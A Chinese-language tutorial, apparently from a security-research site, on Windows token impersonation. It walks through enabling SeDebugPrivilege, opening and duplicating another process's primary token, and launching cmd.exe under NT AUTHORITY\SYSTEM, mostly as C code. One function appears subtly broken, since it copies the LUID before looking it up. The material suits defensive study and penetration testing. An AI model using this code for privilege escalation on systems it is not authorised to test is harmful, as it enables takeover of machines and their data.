Windows API and Impersonation Part 1 - 如何使用Primary Tokens获取SYSTEM权限
字数 962 2025-08-27 12:33:31
Windows API 与令牌模拟技术研究:使用 Primary Tokens 获取 SYSTEM 权限
1. Windows 权限系统概述
Windows 系统使用访问令牌(Access Tokens)来标识系统内的安全级别和访问权限。每个进程都拥有两种类型的令牌:
- Primary Token:主令牌,表示进程的安全上下文
- Impersonation Token:模拟令牌,用于临时模拟其他用户的安全上下文
查看当前特权集的命令:
whoami /priv
在中等完整性级别(Medium-Integrity)下,即使作为管理员,也可能没有足够权限获取 SYSTEM shell。要获得完整权限,通常需要绕过用户账户控制(UAC)。
2. 权限操作基础
2.1 启用权限
即使特权集中包含某个权限,它可能处于禁用状态。以下代码展示了如何启用特定权限:
#include <Windows.h>
#include <tchar.h>
BOOL EnableWindowsPrivilege(WCHAR* Privilege) {
LUID luid = {};
TOKEN_PRIVILEGES tp;
HANDLE currentProcess = GetCurrentProcess();
HANDLE currentToken = {};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
if (!OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken)) return FALSE;
if (!AdjustTokenPrivileges(currentToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) return FALSE;
return TRUE;
}
int wmain(void) {
if(!EnableWindowsPrivilege(SE_DEBUG_NAME)) {
wprintf(L"Could not enable SeDebugPrivilege!\n");
return 1;
}
return 0;
}
2.2 检查权限
在执行特定操作前,可能需要检查当前权限集中是否存在某个权限:
#include <Windows.h>
#include <tchar.h>
BOOL CheckWindowsPrivilege(WCHAR *Privilege) {
LUID luid;
PRIVILEGE_SET privs;
HANDLE hProcess;
HANDLE hToken;
hProcess = GetCurrentProcess();
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL bResult;
PrivilegeCheck(hToken, &privs, &bResult);
return bResult;
}
int wmain(void) {
if(!CheckWindowsPrivilege(SE_DEBUG_NAME)) {
wprintf(L"I do not have SeDebugPrivilege!\n");
return 1;
}
wprintf(L"I do have SeDebugPrivilege!\n");
return 0;
}
3. 使用 Primary Tokens 获取 SYSTEM 权限
3.1 OpenProcess 函数
用于获取远程进程的句柄,是与进程交互的基础:
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
示例用法:
#include "windows.h"
#include "tchar.h"
int wmain(int argc, WCHAR **argv) {
HANDLE hProcess;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, 1234);
if(!hProcess) {
wprintf(L"Could not get a handle to remote process.\n");
return 1;
}
wprintf(L"We got our handle!\n");
return 0;
}
3.2 OpenProcessToken 函数
获取进程令牌的句柄:
BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);
示例用法:
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "advapi32.lib")
int wmain(int argc, WCHAR **argv) {
if (argc < 2) {
wprintf(L"Usage: %ls <PID>\n", argv[0]);
return 1;
}
DWORD dwPid = _wtoi(argv[1]);
wprintf(L"[+] PID chosen: %d\n", dwPid);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwPid);
if (!hProcess) {
wprintf(L"ERROR: Could not get a handle to PID %d\n", dwPid);
return 1;
}
wprintf(L"[+] Got handle for PID: %d\n", dwPid);
PHANDLE pToken = new HANDLE;
BOOL bResult = OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_IMPERSONATE, pToken);
if (!bResult) {
wprintf(L"ERROR: Could not open process token.\n");
return 1;
}
wprintf(L"[+] Process token is now open.\n");
return 0;
}
3.3 DuplicateTokenEx 函数
复制令牌对象,用于创建使用相同令牌的新进程:
BOOL DuplicateTokenEx(
HANDLE hExistingToken,
DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
PHANDLE phNewToken
);
完整示例:
HANDLE GetAccessToken(DWORD pid) {
HANDLE currentProcess = {};
HANDLE AccessToken = {};
DWORD LastError;
if (pid == 0) {
currentProcess = GetCurrentProcess();
} else {
currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (!currentProcess) {
LastError = GetLastError();
wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
return (HANDLE)NULL;
}
}
if (!OpenProcessToken(currentProcess,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&AccessToken)) {
LastError = GetLastError();
wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
return (HANDLE)NULL;
}
return AccessToken;
}
int wmain(int argc, WCHAR **argv) {
if (argc < 2) {
wprintf(L"Usage: %ls <PID>\n", argv[0]);
return 1;
}
DWORD pid = _wtoi(argv[1]);
if ((pid == NULL) || (pid == 0)) return 1;
wprintf(L"[+] Pid Chosen: %d\n", pid);
HANDLE pToken = GetAccessToken(pid);
SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
TOKEN_TYPE tokenType = TokenPrimary;
HANDLE pNewToken = new HANDLE;
if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken)) {
DWORD LastError = GetLastError();
wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
return 1;
}
wprintf(L"Process token has been duplicated.\n");
}
3.4 CreateProcessWithToken 函数
使用复制的令牌在新安全环境下生成进程:
BOOL CreateProcessWithTokenW(
HANDLE hToken,
DWORD dwLogonFlags,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
完整流程示例:
if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken)) {
DWORD LastError = GetLastError();
wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
return 1;
}
wprintf(L"Process token has been duplicated.\n");
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
BOOL ret;
ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY,
L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi);
if (!ret) {
DWORD lastError = GetLastError();
wprintf(L"CreateProcessWithTokenW: %d\n", lastError);
return 1;
}
成功执行后,将获得一个运行在 NT AUTHORITY\SYSTEM 权限下的 Windows shell。
4. 总结
本文详细介绍了使用 Windows API 和 Primary Tokens 获取 SYSTEM 权限的技术路线,包括:
- 理解 Windows 权限系统基础
- 权限的启用和检查方法
- 使用 OpenProcess 获取进程句柄
- 使用 OpenProcessToken 获取进程令牌
- 使用 DuplicateTokenEx 复制令牌
- 使用 CreateProcessWithTokenW 创建新进程
这些技术组合使用可以在适当权限下获取 SYSTEM 级别的访问权限,是 Windows 系统安全研究和渗透测试中的重要技术。